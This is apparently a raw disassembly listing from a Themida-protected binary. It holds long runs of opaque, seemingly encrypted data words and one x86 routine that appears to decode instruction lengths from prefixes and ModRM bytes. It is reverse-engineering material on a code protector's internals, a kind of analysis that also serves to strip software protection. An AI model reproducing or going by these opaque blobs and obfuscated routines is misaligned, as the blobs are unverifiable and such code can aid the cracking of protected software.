		dd 8466496h, 3098EAh, 535A0000h, 66EE806Eh, 0C15CFDCDh
		dd 0DC1905A1h, 278BCB2Dh, 0A4155D99h, 24B667FCh, 97CF4AD9h
		dd 0E47DEAD5h, 0BD6C1BAEh, 7271B5Bh, 46649633h,	9833EA08h
		dd 7A47D366h, 36FCA415h, 0ED388BF1h, 0F64F5802h, 90C45E8Ah
		dd 3D9F4EFDh, 0CBC8FA95h, 8F98338Dh, 7A0DBCF6h,	942759F4h
		dd 370BCFFh, 23F96EB8h,	91F35410h, 17144EE9h, 0A3E0166Bh
		dd 0F9F8FBFCh, 9CA6B8CCh, 0FFFFFE66h, 30C654E8h, 70FCA3D7h
		dd 2D1D5DBFh, 0FCA41595h, 0A416A39Fh, 156291FCh, 0C002FCA4h
		dd 74FCA415h, 0FCA4154Eh, 0A415DCE6h, 2DCA523Ch, 53B564F7h
		dd 67F9F7CBh, 790C46DFh
		dd 74A844CAh, 92D05E12h, 16327001h, 72BBF18Eh, 611BD0EEh
		dd 8719C809h, 0A92F61FFh, 0C277D90Bh, 0F88A665Ch, 9295EDADh
		dd 0CC1049F5h, 410B551h, 12C628D7h, 0D419C184h,	0F56C1D2Bh
		dd 4908EBF8h, 0F0092ABFh, 39000002h, 0C06663A1h, 4EF4F123h
		dd 0DC827FB5h, 670D0A3Eh, 5B9693CDh, 0DD17B1C9h, 669E3AE0h
		dd 0F628C369h, 82B453F9h, 0D9B2F85h, 0F5F5A1E9h, 272644B7h
		dd 15F10593h, 0E881FCA4h, 1BA152AAh, 0AB94C7Eh,	4C6100A8h
		dd 0A41638BEh, 8B768FCh, 5AB30F75h, 0A4162ACCh,	3FC576FCh
		dd 2FC170A2h, 727965A1h, 502B3F2h, 0F5AA6959h, 1FD1F1F5h
		dd 0E33F428Dh, 0DC09B14Ah, 0CFBAB06Fh, 238534EEh, 1FC1E16Fh
		dd 0D96DEBC4h, 0A3E5AB4Bh, 0E244F5FCh, 0C0A31D68h, 351456E8h
		dd 0CD6CF486h, 0E781099Bh, 7A2C4BADh, 8B1E56F2h, 33D27ADCh
		dd 0C4578D2Ah, 40D46615h, 0A39B44B2h, 41A354FCh, 9BFA008Ch
		dd 22A0FCA3h, 17B37A34h, 0BC592C79h, 9628D786h,	0A73A720Eh
		dd 0BE518321h, 4AFE600Fh, 721842BCh, 0FD961EF2h, 0FE8618C7h
		dd 8A302D5Fh, 0C48E2EBh, 891BCA79h, 9C2F6501h, 70D68BEDh
		dd 0F82AC752h, 9624B665h, 0F5F60C60h, 4EE08F40h, 0C4714AC0h
		dd 0BF5CE4EBh, 0E94BFA8Dh, 0C52BBE6Fh, 0CD61F3FDh, 0E275A745h
		dd 3323D133h, 6DF27218h, 3A22ABCh, 77265EFAh, 335D47Ah
		dd 22DEE470h, 467CF5F6h, 750739D3h, 0F6030FE7h,	29D889F5h
		dd 31E04C97h, 0D55171A9h, 0F595AF47h, 8938E9F5h, 6D8F2440h
		dd 8CEE8027h, 6CBC4AD8h, 0EB9CEBC4h, 133D159h, 0A85DBF6Eh
		dd 7D68042h, 56798A73h,	92DD6F1Eh, 23513434h, 0D774FA59h
		dd 16312A5h, 0E406BF4Dh, 0A152F27Eh, 0A3CFBB2Ah, 3455EA8Fh
		dd 153h, 9063ED6h, 9794C663h, 1D1A58F1h, 0AAA7D977h, 39366A04h
		dd 0BA5426FEh, 47E38986h, 0D7721815h, 5BFAA09Dh, 42D62C29h
		dd 0F5A042B4h, 0CDEB5EF5h, 0EF816F53h, 83AD35Bh, 7A0EF8A6h
		dd 39EAF272h, 6E8240A6h, 0D2534EDCh, 0A253EBD0h, 0DB7C22Bh
		dd 2B4CE189h, 0FBh, 615E962Eh, 0EFEC1EBBh, 7572B049h, 2FF31CFh
		dd 918EC25Ch, 12ACCE56h, 9F3BE1DEh, 2FCA706Dh, 0B352F8F5h
		dd 9A2E8481h, 0F5A0EA0Ch, 2543B6F5h, 0EF816F53h, 72799D61h
		dd 37CA7BF2h, 4B811DA5h, 70A241E9h, 0FC2ECD73h,	31BF0369h
		dd 0F91119Fh, 0D55DEBC4h, 29A30537h, 38D57B78h,	4BE87002h
		dd 0E698B719h, 1632C452h, 0DA6EFCA4h, 0A415AA4Ch, 9645F6FCh
		dd 0C1F38C34h, 4C801EC4h, 7B099D4Fh, 0FCA4157Bh, 6A127425h
		dd 0F19794D0h, 6E201D57h, 2B2A5E23h, 0AB0DD0C6h, 38356703h
		dd 0C0BDF792h, 4C497B1Ah, 0D5D20AA6h, 0EB7D734Fh, 0E62DC957h
		dd 6D7AFCA3h, 24777862h, 0C92BDC34h, 5FF98115h,	3E499225h
		dd 0E4D4B49h, 15C325D4h, 0F272078Dh, 0C557EA9Bh, 0FD53A331h
		dd 9C4DF5F5h, 0C1F3923Ah, 0F07E12C4h, 0F5F5FE06h, 8670FE92h
		dd 12F5F5FDh, 0D50B261h, 3, 332D4DCFh, 50D6699Bh, 66EC7FB1h
		dd 800699CBh, 971DB0E4h, 0AA30C3FDh, 0BB41D410h, 0D258EB1Dh
		dd 0E268FB39h, 2A7C0F45h, 81E68956h, 4C6h, 4EE8300h, 8B243487h
		dd 89572424h, 4C781E7h,	83000000h, 3C8704EFh, 4895C24h
		dd 774F6824h, 34890000h, 83685324h, 5B171E2Bh, 5425C381h
		dd 0D3F72F95h, 90C38143h, 894D61EBh, 241C8BD8h,	8104C483h
		dd 4ECh, 24248900h, 4240481h, 5E000000h, 8BE5653h, 89000000h
		dd 0F3015EF3h, 0FF5B0389h, 815E2434h, 4C4h, 2434FF00h
		dd 4C48358h, 0FB0840E9h, 1BB8CDFFh, 306AE77h, 0E8C38BC5h
		dd 0Eh,	0F2B25FD4h, 588218EFh, 0A9C64D76h, 0FEBB2A41h
		dd 5804BFCCh, 8E952h, 0C3FA0000h, 0C9308B73h, 815E774Fh
		dd 5F0AC0h, 0AEE58000h,	0B966D233h, 3C8B0299h, 0DE816610h
		dd 0F78155F7h, 631A6A8h, 0EF816CB5h, 13EAD3E2h,	0EF81DF8Bh
		dd 32AFC63h, 5FCB8056h,	0E8BE575Eh, 8F5237A7h, 0BF0F1004h
		dd 839FB7CAh, 8B6604EAh, 68FA81CEh, 0FFFFFA1h, 0FFFFBD85h
		dd 8D8DF5FFh, 6AE78DBh,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ah, 0E7C35545h, 25FD735Dh, 8D89128Bh, 6A916CDh
		dd 11518D89h, 85C706A9h, 6A90CE5h, 6260h, 6840Fh, 0B50B0000h
		dd 6A91E69h, 11CD85C7h,	6A9h, 8E0F0000h, 4, 748BBE66h
		dd 659B5FFh, 6A06A9h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 475AC8C3h, 0FF026003h, 0A9328195h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1504h
		dd 0C3564600h, 880F0AA4h, 5, 4CEA8166h,	0FF006A83h, 0A92D9595h
		dd 0EBC08B06h, 7184CA6Bh, 0FBC93409h, 930BC392h, 62BA485Ch
		dd 0D42B8AFEh, 0F11EC2B1h, 21D5874Dh, 0E19C0929h, 0C06AF1E5h
		dd 181BA806h, 0CBAEF4DEh, 20BA968Ah, 0A4525328h, 8DB0ADCDh
		dd 57C240E8h, 4BA031D5h, 8424ECE7h, 384AAA9Bh, 4B5D2F23h
		dd 55865982h, 0CB510289h, 82D3D977h, 5C2EEC91h,	83CE28D5h
		dd 0FCFF4C8Eh, 0A95BF03Ah, 0DB51B2CCh, 1FED125Ch, 2BC9BE2Eh
		dd 0F28B629Ch, 69F7033h, 7AE3344Bh, 0FC32717Ch,	81718495h
		dd 330F8451h, 0D19FF060h, 1D9B04A8h, 219F896Eh,	3C33325Fh
		dd 333226FEh, 0CA918BBDh, 0DADB5A71h, 3C32346Dh, 3332363Bh
		dd 0B0E5BEDBh, 9A32C150h, 0B73D34F0h, 33323474h, 0E9208BDBh
		dd 0DAE383D1h, 333236A7h, 0BE12D237h, 9D4B5F5Eh, 0DBB354EBh
		dd 5E5EDBE8h, 2AB0D2FAh, 63535BC1h, 37BBCC55h, 2FC4B54Bh
		dd 0BE4ED1E0h, 9D4B795Eh, 0DB6064EBh, 333234F1h, 0CF628748h
		dd 5342AAA8h, 0BA6C6DBFh, 0BF3D106Bh, 333234B2h, 0C3CF9862h
		dd 9EA7CBF5h, 59349DE7h, 30DA617Bh, 133234BDh, 0BA6FF783h
		dd 0B2361003h, 2A3610F3h, 763234DBh, 4697F7B8h,	1FF90CD4h
		dd 0B8EDC1FBh, 66325E7Dh, 33323736h, 0F06F146Fh, 175EBDEAh
		dd 1776B5DFh, 33322EE9h, 0F06771F6h, 0F8A4C9D1h, 0B02CC72Fh
		dd 9A212963h, 3A473469h, 27038934h, 47323272h, 0B86164F4h
		dd 37488C36h, 0B6BB347Bh, 359B10F8h, 876EA953h,	0E0CD32C4h
		dd 8EB16CECh, 359B20EAh, 632540EDh, 37488CA5h, 0B6BB347Bh
		dd 359B10F8h, 8279A953h, 0E0CD32C4h, 0D9B36CECh, 3330B387h
		dd 0DB653487h, 333234F5h, 6CF16B5Bh, 37164834h,	3716705Fh
		dd 33323476h, 23F163F0h, 89A15DE8h, 55F2BFD6h, 9D88C77Dh
		dd 0BE4815FDh, 9D4B6120h, 0F2B352D8h, 0B6BF9131h, 359C5D6Ah
		dd 0CCFC83D4h, 36B33B3Dh, 533234F6h, 52CBBF8Eh,	0B73DF4B6h
		dd 3332349Ch, 4AF2B50Fh, 5351A5CCh, 33BB3B27h, 523234EDh
		dd 0F3AFB997h, 0CB349D36h, 33323705h, 0CCEC86DEh, 66325E8Ch
		dd 3332375Fh, 0F06F14DBh, 175EBDB0h, 1776B5F2h,	3332217Fh
		dd 0F06771BDh, 8C541CF2h, 0AEBF5134h, 359C4DEAh, 33323932h
		dd 654BE3EDh, 1EAB54B6h, 1ED7A1E9h, 0B6BF7B9Bh,	359C5D03h
		dd 0C2B3E490h, 7F9CF36Dh, 33323C32h, 302935EDh,	536B30E2h
		dd 3CF23F43h, 33320239h, 66325EDEh, 33323787h, 0F06F14B7h
		dd 175EBD86h, 1776B5E9h, 333222F2h, 0F067717Bh,	0CAC675F6h
		dd 7EF2A953h, 328A32C6h, 553234B7h, 8AE25565h, 2C14BDB5h
		dd 0BECAD709h, 9D4B56E6h, 62325EBBh, 33323736h,	0F06B146Fh
		dd 177EBDEEh, 1776B5DFh, 33322EE9h, 0F06375F6h,	929FD0DAh
		dd 554E529Eh, 0BA21FD5Fh, 5AEFB1E2h, 0C5B23219h, 3322DC0Eh
		dd 860834EDh, 0AE8C705Ch, 429D6487h, 8DA6A7Fh, 35DAD88Bh
		dd 6132346Fh, 5E3079CDh, 0F9D8B5BDh, 6D114D39h,	59E2CBA9h
		dd 30DA667Bh, 133234BDh, 0BA68F784h, 0B236103Bh, 2A3610F3h
		dd 713234DBh, 2559F7BFh, 8A48D25Dh, 38FDBF1Dh, 7EB63B7Dh
		dd 3C3234DEh, 333221EBh, 3322DDB7h, 76534DBh, 7C525222h
		dd 4FDF8DD2h, 880B492Ah, 0C5B22A38h, 0F3AFB9DBh, 55349D22h
		dd 8B259108h, 333234D8h, 0DB633487h, 333234F5h,	6AF16D5Bh
		dd 37167834h, 3716705Fh, 3332347Bh, 84F165F6h, 0E2B8D724h
		dd 64325EAEh, 3332371Eh, 0F06D147Bh, 174EBDE2h,	1776B5DAh
		dd 33322D6Bh, 0F06573B7h, 0D0E6B93Fh, 0DAB2C29Bh, 788FB9E0h
		dd 0BE349A02h, 9D4E8030h, 6F4F8CD8h, 0B601BE24h, 359B3C52h
		dd 0DAF3FBF0h, 4DEAAEBFh, 3932359Ch, 0E3ED3332h, 54B6654Bh
		dd 0A1E91EABh, 7B9B1ED7h, 5E983BFh, 0C08BA4F3h,	81D78B66h
		dd 0AC9BBDD9h, 6AC38B51h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 0F511C351h,	0C08B3DB2h
		dd 4E56BF66h, 131DBD83h, 750006A9h, 31BD8309h, 6A914h
		dd 53501974h, 7AB8C08Bh, 89000004h, 0A9020985h,	0C39D8D06h
		dd 0FF06ABB4h, 83585BD3h, 0A91431BDh, 17740006h, 7AB85350h
		dd 89000004h, 0A9020985h, 649D8D06h, 0FF06ABB1h, 66585BD3h
		dd 6AFA8Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
		dd 55450000h, 297CA5C3h, 0C08B055Eh, 1C8E9h, 8 dup(41888800h)
		dd 4 dup(0)
		dd 880000h, 91C400h, 11111100h,	11111111h, 8899C911h, 88888888h
		dd 88h,	60000h,	444400h, 4100h,	11111100h, 44444411h, 88029944h
		dd 100203C9h, 11888800h, 88888800h, 11111188h, 164411h
		dd 0
		dd 88h,	888888h, 80000000h, 88888800h, 888h, 8888800h
		dd 88888808h, 88h, 0
		dd 88888800h, 88888888h, 88888088h, 2 dup(88888888h), 888888h
		dd 88999988h, 8, 44444488h, 44444444h, 88888844h, 88888888h
		dd 99800088h, 99800000h, 88888888h, 88890088h, 99888888h
		dd 89h,	88888000h, 88888880h, 88888888h, 88888880h, 88888088h
		dd 88888888h, 362E2608h, 6665643Eh, 0F3F2F067h,	0
		dd 0FFFFFF00h, 4016E6FFh, 4016FA00h, 2 dup(0)
		dd 100h, 14h dup(0)
		dd 6380C300h, 7577EDh, 100h, 11h dup(0)
		dd 353E900h, 0E8550000h, 0
		dd 4BED815Dh, 6006AE7Fh, 7E9885C7h, 6AEh, 81660000h, 0FA1663Eh
		dd 0F85h, 9C85C700h, 606AE7Eh, 0E9000000h, 24h,	7EA0858Dh
		dd 8D5006AEh, 0AE7EF085h, 6A565006h, 1DE800h, 0C4830000h
		dd 0FF2510h, 85890000h,	6AE7E9Ch, 9CB50361h, 8B06AE7Eh
		dd 0AE7E9885h
		db 6, 5Dh, 0C3h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	byte ptr [ebp-5], 0
		and	byte ptr [ebp-6], 0
		xor	dl, dl
		and	[ebp-1], dl
		cmp	dword ptr [ebp+8], 0
		jz	loc_59F89C
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		mov	byte ptr [ebp-2], 1
		jmp	loc_59F8A8
; ---------------------------------------------------------------------------


loc_59F89C:				; CODE XREF: Themida_:0059F885j
		and	byte ptr [ebp-3], 0
		and	byte ptr [ebp-2], 0
		mov	byte ptr [ebp-4], 4


loc_59F8A8:				; CODE XREF: Themida_:0059F897j
		push	ebx
		push	esi
		push	edi


loc_59F8AB:				; CODE XREF: Themida_:0059F900j
					; Themida_:0059F91Cj ...
		mov	edi, [ebp+0Ch]
		mov	esi, [ebp+10h]
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		mov	[esi+ecx], al
		xor	cl, cl


loc_59F8BE:				; CODE XREF: Themida_:0059F8E5j
		movzx	ebx, cl
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 6AE8002h
		lea	ebp, [ebp+6AE7E78h]
		add	ebp, ebx
		cmp	[ebp+0], al
		pop	ebp
		jz	loc_59F8EB
		inc	cl
		cmp	cl, 0Bh
		jb	loc_59F8BE


loc_59F8EB:				; CODE XREF: Themida_:0059F8DAj
		cmp	cl, 0Bh
		jz	loc_59F948
		cmp	al, 66h
		jnz	loc_59F929
		cmp	byte ptr [ebp-5], 0
		jnz	loc_59F8AB
		cmp	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-5], 1
		jnz	loc_59F921
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		jmp	loc_59F8AB
; ---------------------------------------------------------------------------


loc_59F921:				; CODE XREF: Themida_:0059F90Ej
		and	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-4], 4


loc_59F929:				; CODE XREF: Themida_:0059F8F6j
		cmp	al, 67h
		jnz	loc_59F8AB
		cmp	byte ptr [ebp-6], 0
		jnz	loc_59F8AB
		xor	byte ptr [ebp-2], 1
		mov	byte ptr [ebp-6], 1
		jmp	loc_59F8AB
; ---------------------------------------------------------------------------


loc_59F948:				; CODE XREF: Themida_:0059F8EEj
		mov	ebx, [ebp+14h]
		mov	cl, dl
		dec	cl
		cmp	al, 0Fh
		mov	[ebx], cl
		jnz	loc_59F974
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		movzx	edi, al
		shr	edi, 1
		mov	[esi+ecx], al
		add	edi, 80h
		jmp	loc_59F979
; ---------------------------------------------------------------------------


loc_59F974:				; CODE XREF: Themida_:0059F953j
		movzx	edi, al
		shr	edi, 1


loc_59F979:				; CODE XREF: Themida_:0059F96Fj
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 6AE80BAh
		lea	ebp, [ebp+6AE7D78h]
		add	ebp, edi
		mov	bl, [ebp+0]
		pop	ebp
		mov	cl, al
		and	cl, 1
		mov	[ebp-7], cl
		shl	cl, 2
		shr	bl, cl
		test	bl, 8
		mov	[ebp-6], bl
		jz	loc_59FAFB
		mov	ebx, [ebp+0Ch]
		mov	byte ptr [ebp+0Bh], 1
		movzx	ecx, dl
		inc	dl
		mov	bl, [ebx+ecx]
		mov	[ebp+17h], dl
		mov	dl, bl
		mov	[esi+ecx], bl
		and	dl, 7
		movzx	ecx, bl
		cmp	dl, 4
		setz	byte ptr [ebp-5]
		shr	ecx, 6
		sub	ecx, 0
		jz	loc_59FA3F
		dec	ecx
		jz	loc_59FA22
		dec	ecx
		jnz	loc_59FA92
		cmp	byte ptr [ebp-2], 0
		jnz	loc_59FA8E
		cmp	byte ptr [ebp-5], 0
		jz	loc_59FA01
		mov	byte ptr [ebp+0Bh], 2


loc_59FA01:				; CODE XREF: Themida_:0059F9F7j
		add	byte ptr [ebp+0Bh], 4
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 6AE8146h
		mov	dword ptr [ebp+6AE7E98h], 1
		pop	ebp
		jmp	loc_59FA92
; ---------------------------------------------------------------------------


loc_59FA22:				; CODE XREF: Themida_:0059F9DCj
		cmp	byte ptr [ebp-2], 0
		jnz	loc_59FA6C
		cmp	byte ptr [ebp-5], 0
		jz	loc_59FA6C
		mov	byte ptr [ebp+0Bh], 2
		jmp	loc_59FA6C
; ---------------------------------------------------------------------------


loc_59FA3F:				; CODE XREF: Themida_:0059F9D5j
		cmp	byte ptr [ebp-2], 0
		jnz	loc_59FA85
		cmp	byte ptr [ebp-5], 0
		jz	loc_59FA74
		movzx	ecx, byte ptr [ebp+17h]
		mov	edx, [ebp+0Ch]
		mov	cl, [edx+ecx]
		and	cl, 7
		cmp	cl, 5
		jnz	loc_59FA6C
		mov	[ebp+0Bh], cl


loc_59FA6C:				; CODE XREF: Themida_:0059FA26j
					; Themida_:0059FA30j ...
		inc	byte ptr [ebp+0Bh]
		jmp	loc_59FA92
; ---------------------------------------------------------------------------


loc_59FA74:				; CODE XREF: Themida_:0059FA4Dj
		cmp	dl, 5
		jnz	loc_59FA92
		mov	[ebp+0Bh], dl
		jmp	loc_59FA92
; ---------------------------------------------------------------------------


loc_59FA85:				; CODE XREF: Themida_:0059FA43j
		cmp	dl, 6
		jnz	loc_59FA92


loc_59FA8E:				; CODE XREF: Themida_:0059F9EDj
		mov	byte ptr [ebp+0Bh], 3


loc_59FA92:				; CODE XREF: Themida_:0059F9E3j
					; Themida_:0059FA1Dj ...
		dec	byte ptr [ebp+0Bh]
		jz	loc_59FAC0
		movzx	ecx, byte ptr [ebp+0Bh]
		mov	[ebp+8], ecx


loc_59FAA2:				; CODE XREF: Themida_:0059FAB8j
		movzx	esi, byte ptr [ebp+17h]
		mov	ecx, [ebp+0Ch]
		mov	edx, [ebp+10h]
		inc	byte ptr [ebp+17h]
		dec	dword ptr [ebp+8]
		mov	cl, [ecx+esi]
		mov	[edx+esi], cl
		jnz	loc_59FAA2
		mov	esi, edx


loc_59FAC0:				; CODE XREF: Themida_:0059FA95j
		and	al, 0FEh
		cmp	al, 0F6h
		jnz	loc_59FAF5
		cmp	edi, 7Fh
		ja	loc_59FAF5
		test	bl, 38h
		jnz	loc_59FAF5
		cmp	byte ptr [ebp-7], 0
		jz	loc_59FAEF
		movzx	eax, byte ptr [ebp-4]
		jmp	loc_59FAF2
; ---------------------------------------------------------------------------


loc_59FAEF:				; CODE XREF: Themida_:0059FAE0j
		push	1
		pop	eax


loc_59FAF2:				; CODE XREF: Themida_:0059FAEAj
		mov	[ebp-1], al


loc_59FAF5:				; CODE XREF: Themida_:0059FAC4j
					; Themida_:0059FACDj ...
		mov	dl, [ebp+17h]
		mov	bl, [ebp-6]


loc_59FAFB:				; CODE XREF: Themida_:0059F9A5j
		mov	al, bl
		and	eax, 7
		sub	eax, 4
		jz	loc_59FB26
		dec	eax
		dec	eax
		jz	loc_59FB1C
		and	bl, 7
		add	[ebp-1], bl
		jmp	loc_59FB2E
; ---------------------------------------------------------------------------


loc_59FB1C:				; CODE XREF: Themida_:0059FB0Bj
		mov	al, [ebp-3]
		add	al, 6
		jmp	loc_59FB2B
; ---------------------------------------------------------------------------


loc_59FB26:				; CODE XREF: Themida_:0059FB03j
		mov	al, [ebp-3]
		add	al, 4


loc_59FB2B:				; CODE XREF: Themida_:0059FB21j
		add	[ebp-1], al


loc_59FB2E:				; CODE XREF: Themida_:0059FB17j
		mov	al, [ebp-1]
		dec	byte ptr [ebp-1]
		test	al, al
		jz	loc_59FB56
		movzx	ecx, byte ptr [ebp-1]
		inc	ecx


loc_59FB41:				; CODE XREF: Themida_:0059FB50j
		mov	edi, [ebp+0Ch]
		movzx	eax, dl
		inc	dl
		dec	ecx
		mov	bl, [edi+eax]
		mov	[esi+eax], bl
		jnz	loc_59FB41


loc_59FB56:				; CODE XREF: Themida_:0059FB36j
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		db 8Dh,	85h, 45h
		dd 8906AE7Fh, 0A90C4585h, 2FE906h, 1A6D0000h, 439Bh, 0Ah dup(0)
		dd 5C9E900h, 78100000h,	0FC993F3Ch, 8A23C9C6h, 17B55B58h
		dd 0A842E8E5h, 0F0346F6Ch, 0B7B4F08Ah, 423F7511h, 0D2CF019Ch
		dd 5E5B8D2Ch, 10E67408h, 90F5F594h, 64038B1Dh, 3390D032h
		dd 49CF6294h, 8364DBAFh, 79AD670h, 0E92B0F58h, 9C423FEEh
		dd 0A539CBFDh, 0A381DF17h, 0A608B9FCh, 9ACC6BF1h, 0AEE48107h
		dd 2CFC951Bh, 5A42A1F7h, 6F02B146h, 85184AE9h, 256AD217h
		dd 13C25587h, 6AD21564h, 0F2A6CE19h, 0B26EEFEBh, 0D709A850h
		dd 679934DAh, 43B341D5h, 6CFCA373h, 0DC24E1DDh,	26D72F53h
		dd 64FFA5C4h, 7511972Ah, 8825AD3Fh, 0AE10BF52h,	8D473F9h
		dd 0B7B828B9h, 32C57446h, 48DB0DACh, 9A0470B3h,	83C43093h
		dd 13B9B6E8h, 0C9D26B74h, 9645F42Eh, 0EA4A7703h, 0AD12FCA3h
		dd 0D260F447h, 0FCA3EB24h, 3C61C374h, 0A6B8D4B6h, 3264038Bh
		dd 8870D0h, 27300000h, 15F10593h, 0FEAFFCA4h, 10A3DD78h
		dd 0B857FF61h, 6BF916AFh, 0FCA4158Bh, 22B56415h, 0A531C473h
		dd 0FCA4154Fh, 1F6CD83Dh, 35C8FA97h, 0F3FF2486h, 0A2A6B8FFh
		dd 6, 92CA66EEh, 9633F030h, 0B73FD164h,	0DD85E719h, 5D992740h
		dd 3BFCA415h, 0C149DB8Ah, 0A857EA28h, 6D0B9146h, 8822A83Bh
		dd 9927B94Ch, 0FCA4155Dh, 69048A3Bh, 1255A437h,	0AAED3CAAh
		dd 4760FD42h, 0A4153DB9h, 0FBAA5BFCh, 87B958FEh, 99334C8Ah
		dd 0B14ED467h, 27D60AA4h, 3B710E94h, 4D8722A8h,	0E450B3BAh
		dd 0BF53E57Ah, 0A415C531h, 0EB0B99FCh, 0B5FCA415h, 99FBAC04h
		dd 0ED87C834h, 7110B6B3h, 70F9CD68h, 0BE507D75h, 46F58837h
		dd 0DE720497h, 0A36AA650h, 0D05EF2FCh, 0FCA36B26h, 0B012C172h
		dd 0A2356F08h, 0F6D42083h, 0A6B85B0Ch, 60A9h, 99336900h
		dd 0B54ED467h, 0B9DEC7Fh, 50B2E483h, 0A43E81EBh, 39C17370h
		dd 23D2659Fh, 6E7F19C1h, 5AED9CD0h, 6F0236D4h, 0C387ED50h
		dd 0A6B9053Fh, 4F76h, 99333600h, 0BA42D467h, 0DD85E71Dh
		dd 0F67E1042h, 0E695285Ch, 0FB8EC260h, 0C35EA4Ch, 0BE38C65Ah
		dd 0DAFCA415h, 1A62C729h, 0ECE91BB5h, 649633AEh, 157C45D1h
		dd 7BE0FCA4h, 0A13AC231h, 9B21D063h, 8C3BCE00h,	0FFED052Ah
		dd 1A8A6B8h, 68000000h,	0D6689A33h, 0DA39AD8Bh,	89A81B5h
		dd 0A3267C7Ah, 96B1CFCh, 0FD2FCE54h, 0B400636Ah, 0D125B347h
		dd 0CFFCA326h, 0C574AE47h, 87B07A7Ch, 4FB17ADAh, 0D7D40EA7h
		dd 594FDA25h, 0A6A1419Ah, 0B84B8520h, 0A31FA709h, 0D42DBB4Dh
		dd 0DAF27F17h, 83EB846h, 0A95AF5FBh, 891CCD47h,	0A0326403h
		dd 8787E0Ch, 7728F5FBh,	0B150F615h, 9460EC7Fh, 37F5FB08h
		dd 882768D4h, 1CAFE17Fh, 0FC1BE6Dh, 50B2EC87h, 45D709A8h
		dd 761320BDh, 5302B144h, 679D3AC0h, 1BA156B8h, 0A7D9737Ch
		dd 0BE518321h, 47CD600Fh, 5AE073ADh, 0ECF386BEh, 1EB32389h
		dd 8F2E91DBh, 1780CB5Dh, 0B4C5AAFh, 8FB2D133h, 0A00F8B63h
		dd 14C32h, 6F53F200h, 0B061EF81h, 78F27F35h, 0FAE34C7h
		dd 847A0B43h, 0DC8B03F8h, 689A39DFh, 7EB04FD5h,	96CC65EBh
		dd 13E37103h, 8DF5FAC9h, 83B956DCh, 0F73D82F0h,	0AC40D267h
		dd 0FAC8D81Eh, 0F6008EF5h, 0A2F5FAC8h, 9FE899F1h, 251AEA55h
		dd 0C3288A3Ah, 0AB771679h, 2447B0FAh, 0C6580788h, 2052A432h
		dd 9D4EF5FAh, 0F9F91C3Bh, 9CA00F0Ah, 62h, 0CF489DE8h, 0EB953C15h
		dd 80534989h, 0EB58A6E8h, 23D2700Fh, 63B2FD91h,	691E2EF1h
		dd 0E9ED9BFDh, 377CA3EFh, 8F67F386h, 0F37CA43Ch, 43ED75Fh
		dd 84F73DA2h, 972A5EFCh, 0D5FE86E8h, 0C90D9B2Dh, 0DDFCA43Ch
		dd 0F285B755h, 0B667E143h, 0E47F07B9h, 540335D3h, 0F38C12C1h
		dd 1D7F2EC1h, 7CDAh, 0DC279C00h, 2EE7709Ah, 139BFD64h
		dd 27AF41AFh, 10BF528Ch, 0D96CFAAEh, 25F27F02h,	0BC5BE174h
		dd 48E78D8Ah, 0C8F78316h, 53F5FB0Eh, 497B19A1h,	40A507B6h
		dd 0EBF493F4h, 0D96B1A4Ch, 0ED80B251h, 0D81EAC3Eh, 0C8F5FB0Dh
		dd 1096B517h, 1EAC3EB2h, 0EBCC8CFBh, 0D80AA32Bh, 71109629h
		dd 42A5AC3Fh, 0E30DB5FAh, 0B56C351h, 7A02F26Eh,	133CCE1h
		dd 7D10BF6Eh, 78AC48CEh, 8A8736E5h, 0E76F534Ch,	0EDAD9F64h
		dd 0EB7D2C4Eh, 732DC957h, 0BA6BFCA3h, 8810A458h, 0C40DCEDh
		dd 0B91BCA5Dh, 74F20E0Bh, 16A95AF2h, 9462F084h,	4F5F5F4h
		dd 0AA49F153h, 35C97B78h, 55E113ADh, 0F5F5F4A1h, 0D5054EFFh
		dd 0CA131A93h, 4FEE96F8h, 0C675A746h, 0EDC5A733h, 0FE99AD3Bh
		dd 0DAB31C4h, 23C248DBh, 60AF5EF1h, 0F847D71Dh,	68FC4FB5h
		dd 8F11CDAh, 69CB7CB9h,	0F3F022C1h, 2F7EF641h, 8E1F1B93h
		dd 0B3E5842Ch, 0C8FC9A20h, 8AD5EB36h, 9E584922h, 0B0437D18h
		dd 0E3EA9F01h, 34D33480h, 0C05F0502h, 3DAFB8Eh,	9C000000h
		dd 9B332D4Dh, 0B150D669h, 0CB66EC7Fh, 0E4800699h, 0FD971DB0h
		dd 10AA30C3h, 1DBB41D4h, 39D258EBh, 45E268FBh, 682A7C0Fh
		dd 2640h, 68242C89h, 313h, 68242C89h, 4937h, 50241C89h
		dd 16B0BB53h, 0C38137B9h, 2B7F5928h, 2D63E381h,	0E3C13942h
		dd 0DDC38102h, 8982ADCDh, 0C5895BD8h, 3CC6858h,	24890000h
		dd 24048124h, 4, 8957515Bh, 5FF989EFh, 59084B89h, 56241C8Bh
		dd 0C681E689h, 4, 4C681h, 34870000h, 2C8B5C24h,	0E6895624h
		dd 4C681h, 0C6810000h, 4, 5C243487h, 0FAF73CE9h, 8C0459FFh
		dd 0B8277F14h, 6AE881Ah, 0E0FFC503h, 5552B4B8h,	305C2342h
		dd 4D6BEE51h, 3700078Bh, 67D1748Eh, 2B5787A4h, 7B059C39h
		dd 15DAF8BCh, 48DFA845h, 7E2148A0h, 36C0061Fh, 491A0036h
		dd 10E2B9A2h, 5189558Ah, 9E8h, 0FFBE1600h, 56D24F7Eh, 0C38ACFEBh
		dd 0C7F0805Eh, 5F55C681h, 800F0000h, 11h, 0CE9h, 1FAC8900h
